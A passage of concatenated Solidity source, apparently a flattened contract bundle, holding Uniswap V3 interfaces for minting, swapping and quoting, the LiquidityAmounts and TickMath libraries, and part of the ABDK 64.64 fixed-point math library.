uint128 tokensOwed0,
uint128 tokensOwed1
);
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
/// @notice Creates a new position wrapped in a NFT
/// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized
/// a method does not exist, i.e. the pool is assumed to be initialized.
/// @param params The params necessary to mint a position, encoded as `MintParams` in calldata
/// @return tokenId The ID of the token that represents the minted position
/// @return liquidity The amount of liquidity for this position
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function mint(MintParams calldata params)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct IncreaseLiquidityParams {
uint256 tokenId;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender`
/// @param params tokenId The ID of the token for which liquidity is being increased,
/// amount0Desired The desired amount of token0 to be spent,
/// amount1Desired The desired amount of token1 to be spent,
/// amount0Min The minimum amount of token0 to spend, which serves as a slippage check,
/// amount1Min The minimum amount of token1 to spend, which serves as a slippage check,
/// deadline The time by which the transaction must be included to effect the change
/// @return liquidity The new liquidity amount as a result of the increase
/// @return amount0 The amount of token0 to acheive resulting liquidity
/// @return amount1 The amount of token1 to acheive resulting liquidity
function increaseLiquidity(IncreaseLiquidityParams calldata params)
external
payable
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct DecreaseLiquidityParams {
uint256 tokenId;
uint128 liquidity;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Decreases the amount of liquidity in a position and accounts it to the position
/// @param params tokenId The ID of the token for which liquidity is being decreased,
/// amount The amount by which liquidity will be decreased,
/// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity,
/// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity,
/// deadline The time by which the transaction must be included to effect the change
/// @return amount0 The amount of token0 accounted to the position's tokens owed
/// @return amount1 The amount of token1 accounted to the position's tokens owed
function decreaseLiquidity(DecreaseLiquidityParams calldata params)
external
payable
returns (uint256 amount0, uint256 amount1);
struct CollectParams {
uint256 tokenId;
address recipient;
uint128 amount0Max;
uint128 amount1Max;
}
/// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient
/// @param params tokenId The ID of the NFT for which tokens are being collected,
/// recipient The account that should receive the tokens,
/// amount0Max The maximum amount of token0 to collect,
/// amount1Max The maximum amount of token1 to collect
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1);
/// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens
/// must be collected first.
/// @param tokenId The ID of the token that is being burned
function burn(uint256 tokenId) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
import '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol';
/// @title Router token swapping functionality
/// @notice Functions for swapping tokens via Uniswap V3
interface ISwapRouter is IUniswapV3SwapCallback {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
/// @return amountOut The amount of the received token
function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
/// @return amountOut The amount of the received token
function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
/// @return amountIn The amount of the input token
function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);
struct ExactOutputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
/// @return amountIn The amount of the input token
function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
/// @title Quoter Interface
/// @notice Supports quoting the calculated amounts from exact input or exact output swaps
/// @dev These functions are not marked view because they rely on calling non-view functions and reverting
/// to compute the result. They are also not gas efficient and should not be called on-chain.
interface IQuoter {
/// @notice Returns the amount out received for a given exact input swap without executing the swap
/// @param path The path of the swap, i.e. each token pair and the pool fee
/// @param amountIn The amount of the first token to swap
/// @return amountOut The amount of the last token that would be received
function quoteExactInput(bytes memory path, uint256 amountIn) external returns (uint256 amountOut);
/// @notice Returns the amount out received for a given exact input but for a swap of a single pool
/// @param tokenIn The token being swapped in
/// @param tokenOut The token being swapped out
/// @param fee The fee of the token pool to consider for the pair
/// @param amountIn The desired input amount
/// @param sqrtPriceLimitX96 The price limit of the pool that cannot be exceeded by the swap
/// @return amountOut The amount of `tokenOut` that would be received
function quoteExactInputSingle(
address tokenIn,
address tokenOut,
uint24 fee,
uint256 amountIn,
uint160 sqrtPriceLimitX96
) external returns (uint256 amountOut);
/// @notice Returns the amount in required for a given exact output swap without executing the swap
/// @param path The path of the swap, i.e. each token pair and the pool fee
/// @param amountOut The amount of the last token to receive
/// @return amountIn The amount of first token required to be paid
function quoteExactOutput(bytes memory path, uint256 amountOut) external returns (uint256 amountIn);
/// @notice Returns the amount in required to receive the given exact output amount but for a swap of a single pool
/// @param tokenIn The token being swapped in
/// @param tokenOut The token being swapped out
/// @param fee The fee of the token pool to consider for the pair
/// @param amountOut The desired output amount
/// @param sqrtPriceLimitX96 The price limit of the pool that cannot be exceeded by the swap
/// @return amountIn The amount required as the input for the swap in order to receive `amountOut`
function quoteExactOutputSingle(
address tokenIn,
address tokenOut,
uint24 fee,
uint256 amountOut,
uint160 sqrtPriceLimitX96
) external returns (uint256 amountIn);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import '@uniswap/v3-core/contracts/libraries/FullMath.sol';
import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol';
/// @title Liquidity amount functions
/// @notice Provides functions for computing liquidity amounts from token amounts and prices
library LiquidityAmounts {
/// @notice Downcasts uint256 to uint128
/// @param x The uint258 to be downcasted
/// @return y The passed value, downcasted to uint128
function toUint128(uint256 x) private pure returns (uint128 y) {
require((y = uint128(x)) == x);
}
/// @notice Computes the amount of liquidity received for a given amount of token0 and price range
/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount0 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount0(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);
return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the amount of liquidity received for a given amount of token1 and price range
/// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)).
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount1 The amount1 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount1(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount of token0 being sent in
/// @param amount1 The amount of token1 being sent in
/// @return liquidity The maximum amount of liquidity received
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
/// @notice Computes the amount of token0 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
function getAmount0ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) / sqrtRatioAX96;
}
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Computes the token0 and token1 value for a given amount of liquidity, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: BSD-4-Clause
/*
* ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected].com>
*/
pragma solidity 0.7.6;
/**
* Smart contract library of mathematical functions operating with signed
* 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is
* basically a simple fraction whose numerator is signed 128-bit integer and
* denominator is 2^64. As long as denominator is always the same, there is no
* need to store it, thus in Solidity signed 64.64-bit fixed point numbers are
* represented by int128 type holding only the numerator.
*/
library ABDKMath64x64 {
/*
* Minimum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;
/*
* Maximum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Convert signed 256-bit integer number into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x signed 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function fromInt(int256 x) internal pure returns (int128) {
require(x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);
return int128(x << 64);
}
/**
* Convert signed 64.64 fixed point number into signed 64-bit integer number
* rounding down.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64-bit integer number
*/
function toInt(int128 x) internal pure returns (int64) {
return int64(x >> 64);
}
/**
* Convert unsigned 256-bit integer number into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x unsigned 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function fromUInt(uint256 x) internal pure returns (int128) {
require(x <= 0x7FFFFFFFFFFFFFFF);
return int128(x << 64);
}
/**
* Convert signed 64.64 fixed point number into unsigned 64-bit integer
* number rounding down. Revert on underflow.
*
* @param x signed 64.64-bit fixed point number
* @return unsigned 64-bit integer number
*/
function toUInt(int128 x) internal pure returns (uint64) {
require(x >= 0);
return uint64(x >> 64);
}
/**
* Calculate x + y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function add(int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) + y;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x - y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function sub(int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) - y;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x * y rounding down. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function mul(int128 x, int128 y) internal pure returns (int128) {
int256 result = (int256(x) * y) >> 64;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x * y rounding down, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64 fixed point number
* @param y unsigned 256-bit integer number
* @return unsigned 256-bit integer number
*/
function mulu(int128 x, uint256 y) internal pure returns (uint256) {
if (y == 0) return 0;
require(x >= 0);
uint256 lo =
(uint256(x) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;
uint256 hi = uint256(x) * (y >> 128);
require(hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
hi <<= 64;
require(
hi <=
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF -
lo
);
return hi + lo;
}
/**
* Calculate x / y rounding towards zero, where x and y are unsigned 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x unsigned 256-bit integer number
* @param y unsigned 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function divu(uint256 x, uint256 y) internal pure returns (int128) {
require(y != 0);
uint128 result = divuu(x, y);
require(result <= uint128(MAX_64x64));
return int128(result);
}
/**
* Calculate 1 / x rounding towards zero. Revert on overflow or when x is
* zero.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function inv(int128 x) internal pure returns (int128) {
require(x != 0);
int256 result = int256(0x100000000000000000000000000000000) / x;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y uint256 value
* @return signed 64.64-bit fixed point number
*/
function pow(int128 x, uint256 y) internal pure returns (int128) {
uint256 absoluteResult;
bool negativeResult = false;
if (x >= 0) {
absoluteResult = powu(uint256(x) << 63, y);
} else {
// We rely on overflow behavior here
absoluteResult = powu(uint256(uint128(-x)) << 63, y);
negativeResult = y & 1 > 0;
}
absoluteResult >>= 63;
if (negativeResult) {
require(absoluteResult <= 0x80000000000000000000000000000000);
return -int128(absoluteResult); // We rely on overflow behavior here
} else {
require(absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return int128(absoluteResult); // We rely on overflow behavior here
}
}
/**
* Calculate x / y rounding towards zero, where x and y are unsigned 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x unsigned 256-bit integer number
* @param y unsigned 256-bit integer number
* @return unsigned 64.64-bit fixed point number
*/
function divuu(uint256 x, uint256 y) internal pure returns (uint128) {
require(y != 0);
uint256 result;
if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
result = (x << 64) / y;
else {
uint256 msb = 192;
uint256 xc = x >> 192;
if (xc >= 0x100000000) {
xc >>= 32;
msb += 32;
}
if (xc >= 0x10000) {
xc >>= 16;
msb += 16;
}
if (xc >= 0x100) {
xc >>= 8;
msb += 8;
}
if (xc >= 0x10) {
xc >>= 4;
msb += 4;
}
if (xc >= 0x4) {
xc >>= 2;
msb += 2;
}
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
result = (x << (255 - msb)) / (((y - 1) >> (msb - 191)) + 1);
require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 hi = result * (y >> 128);
uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 xh = x >> 192;
uint256 xl = x << 64;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
lo = hi << 128;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
assert(xh == hi >> 128);
result += xl / y;
}
require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return uint128(result);
}
/**
* Calculate x^y assuming 0^0 is 1, where x is unsigned 129.127 fixed point
* number and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x unsigned 129.127-bit fixed point number
* @param y uint256 value
* @return unsigned 129.127-bit fixed point number
*/
function powu(uint256 x, uint256 y) private pure returns (uint256) {
if (y == 0) return 0x80000000000000000000000000000000;
else if (x == 0) return 0;
else {
int256 msb = 0;
uint256 xc = x;
if (xc >= 0x100000000000000000000000000000000) {
xc >>= 128;
msb += 128;
}
if (xc >= 0x10000000000000000) {
xc >>= 64;
msb += 64;
}
if (xc >= 0x100000000) {
xc >>= 32;
msb += 32;
}
if (xc >= 0x10000) {
xc >>= 16;
msb += 16;
}
if (xc >= 0x100) {
xc >>= 8;
msb += 8;
}
if (xc >= 0x10) {
xc >>= 4;
msb += 4;
}
if (xc >= 0x4) {
xc >>= 2;
msb += 2;
}
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
int256 xe = msb - 127;
if (xe > 0) x >>= uint256(xe);
else x <<= uint256(-xe);
uint256 result = 0x80000000000000000000000000000000;
int256 re = 0;
while (y > 0) {
if (y & 1 > 0) {
result = result * x;
y -= 1;
re += xe;
if (
result >=
0x8000000000000000000000000000000000000000000000000000000000000000
) {
result >>= 128;
re += 1;
} else result >>= 127;
if (re < -127) return 0; // Underflow
require(re < 128); // Overflow
} else {
x = x * x;
y >>= 1;
xe <<= 1;
if (
x >=
0x8000000000000000000000000000000000000000000000000000000000000000
) {
x >>= 128;
xe += 1;
} else x >>= 127;
if (xe < -127) return 0; // Underflow
require(xe < 128); // Overflow
}
}
if (re > 0) result <<= uint256(re);
else if (re < 0) result >>= uint256(-re);
return result;
}
}
/**
* Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer
* number.
*
* @param x unsigned 256-bit integer number
* @return unsigned 128-bit integer number
*/
function sqrtu(uint256 x) internal pure returns (uint128) {
